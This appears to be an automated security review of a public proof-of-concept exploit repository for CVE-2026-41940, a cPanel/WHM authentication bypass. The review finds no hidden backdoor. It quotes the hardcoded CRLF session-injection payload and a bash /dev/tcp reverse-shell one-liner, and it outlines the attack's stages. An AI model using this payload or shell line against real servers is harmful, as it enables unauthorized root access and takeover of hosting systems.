tc4dy/CVE-2026-41940-PoC-Exploit
PoC files
6 filesFile viewing is interactive and short-lived. Downloads are password-protected ZIP archives using password eip.
Analysis
Technical assessment
The artifact is a Python exploit for CVE-2026-41940, an authentication bypass vulnerability in cPanel/WHM. It performs a multi-stage attack using CRLF injection to hijack sessions, extract account lists, execute commands, and maintain access.
Backdoor review
No backdoor observed in reviewed code
The repository contains a Python exploit for CVE-2026-41940, an authentication bypass in cPanel/WHM. The code performs the disclosed exploit steps: CRLF injection, session hijacking, and post-exploitation actions (RCE, reverse shell, file read, password change, user creation) against a user-supplied target. All network requests are directed to the target specified by the operator. No hidden, unrelated, or deceptive behavior was found. The payload is hardcoded and consistent with the described vulnerability. No evidence of data exfiltration to a third party, concealed persistence, or misrepresented functionality was observed.
Classification basis and observed behavior
Classification basis
The code actively exploits the vulnerability by sending crafted HTTP requests to bypass authentication, hijack sessions, and execute commands on the target. It is not merely detecting or reporting the vulnerability.
exploit.py:192-242exploit.py:286-308Requirements
- Target must be a cPanel/WHM instance vulnerable to CVE-2026-41940.
README.md:13 - Attacker must have network access to the target's WHM port (default 2087).
exploit.py:67
Observed behavior
- Sends a POST request to /login/?login_only=1 with invalid credentials to obtain a pre-authentication session cookie.
exploit.py:196 - Injects a base64-encoded CRLF payload into the Authorization header to bypass authentication and leak a security token.
exploit.py:39-40exploit.py:223-224 - Uses the hijacked session to extract cPanel account lists via the JSON API.
exploit.py:253-256 - Provides post-exploitation capabilities including command execution, reverse shell, password change, and file reading.
exploit.py:286-308exploit.py:310-324exploit.py:326-338exploit.py:355-367
Behaviors behind the backdoor verdict
Observables
- Hardcoded Payload
- root:x\r\nsuccessful_internal_auth_with_timestamp=99999999999\r\nuser=root\r\ntfa_verified=1\r\nhasroot=1The CRLF injection payload used in the authentication bypass is hardcoded in exploit.py (line 39) and base64-encoded (line 40). It is consistent with the disclosed CVE-2026-41940 vulnerability.
exploit.py:39-40 - Target Communication
- self.session.request(method, url, ...)All HTTP requests in the exploit are sent to the operator-supplied target URL, constructed from self.scheme, self.host, and self.port (lines 160-175). No requests are made to any other host.
exploit.py:160-175 - Reverse Shell Target
- bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'The reverse shell command (line 312) connects back to the IP and port provided by the operator via the --reverse-shell argument (lines 491-494). This is a disclosed feature of the exploit.
exploit.py:310-314exploit.py:491-494
What the analysis did not establish
- The evidence includes only the README, exploit script, and requirements file. Other files in the repository (e.g., images, additional scripts) were not provided as text and were not analyzed.
- The analysis is based solely on static code review; the exploit was not executed, and its effectiveness against live targets is not verified.
- One non-text media file (cpanelgg.png, 2,031,707 bytes) was not inspected; it is a PNG image and unlikely to contain executable backdoor code.
- Two unclassified files (2,009 bytes total) were not inspected; their content and potential for harm are unknown.
- Two text files (README.md and requirements.txt) were fully reviewed; no concerns found.
This review is limited to the supplied PoC code and context. It does not assert that the code works or is safe to execute.